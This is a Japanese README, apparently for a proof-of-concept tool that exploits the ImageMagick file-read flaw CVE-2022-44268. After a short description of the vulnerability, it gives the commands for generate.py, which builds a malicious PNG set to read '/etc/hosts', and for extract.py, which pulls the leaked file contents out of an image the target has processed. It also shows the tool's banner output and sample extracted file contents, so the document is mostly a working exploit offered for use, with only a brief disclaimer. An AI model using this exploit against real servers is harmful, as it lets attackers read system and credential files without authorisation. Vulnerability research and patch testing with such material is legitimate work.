
ImageMagick LFI脆弱性(CVE-2022-44268)を悪用して任意ファイル読み取りを行う悪意のあるPNGファイルを生成。概念実証用の抽出スクリプト付き。
ImageMagick は、ラスター画像およびベクター画像ファイルの表示、変換、編集を行うための、無料かつオープンソースのクロスプラットフォームソフトウェアスイートです。200を超える画像ファイル形式の読み書きが可能で、Apache License 2.0のもとで提供されています。コマンドラインツール、C API、および一連のC++クラスの形で利用できます。Wikipedia
ImageMagick バージョン7.1.0-40以下は、ローカルファイルインクルージョンの脆弱性の影響を受けます。この脆弱性は、ユーザー入力の不適切な検証に起因します。攻撃者は、細工されたPNGファイルをターゲットに送信することで、この脆弱性を悪用する可能性があります。この脆弱性の悪用に成功すると、攻撃者はターゲットシステム上の任意のファイルを読み取ることが可能になります。
この脆弱性を発見した研究者へのクレジット:
ImageMagick 7.1.0-40を悪用するための悪意のあるPNGを作成:
pip install Pillow)generate.py を使用したPNGの生成:
python3 generate.py -i input.png -f "/etc/hosts" -o exploit.png
______ __ _____ ______
| _ \ \ / / | __ \ | ____|
| |_) \ \_/ / | |__) |__ __ _ ______| |__ _ __ ___ __ _
| _ < \ / | ___/ _ \ / _` |______| __| '__/ _ \ / _` |
| |_) | | | | | | (_) | (_| | | | | | | (_) | (_| |
|____/ |_| |_| \___/ \__, | |_| |_| \___/ \__, |
__/ | __/ |
|___/ |___/
[*] ImageMagick LFI Exploit
[*] Embedding Payload to read the target file
[*] Exploit PNG generated: exploit.png
python3 extract.py downloaded_img.png
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
免責事項: 良い子でいてください。悪用しないでください。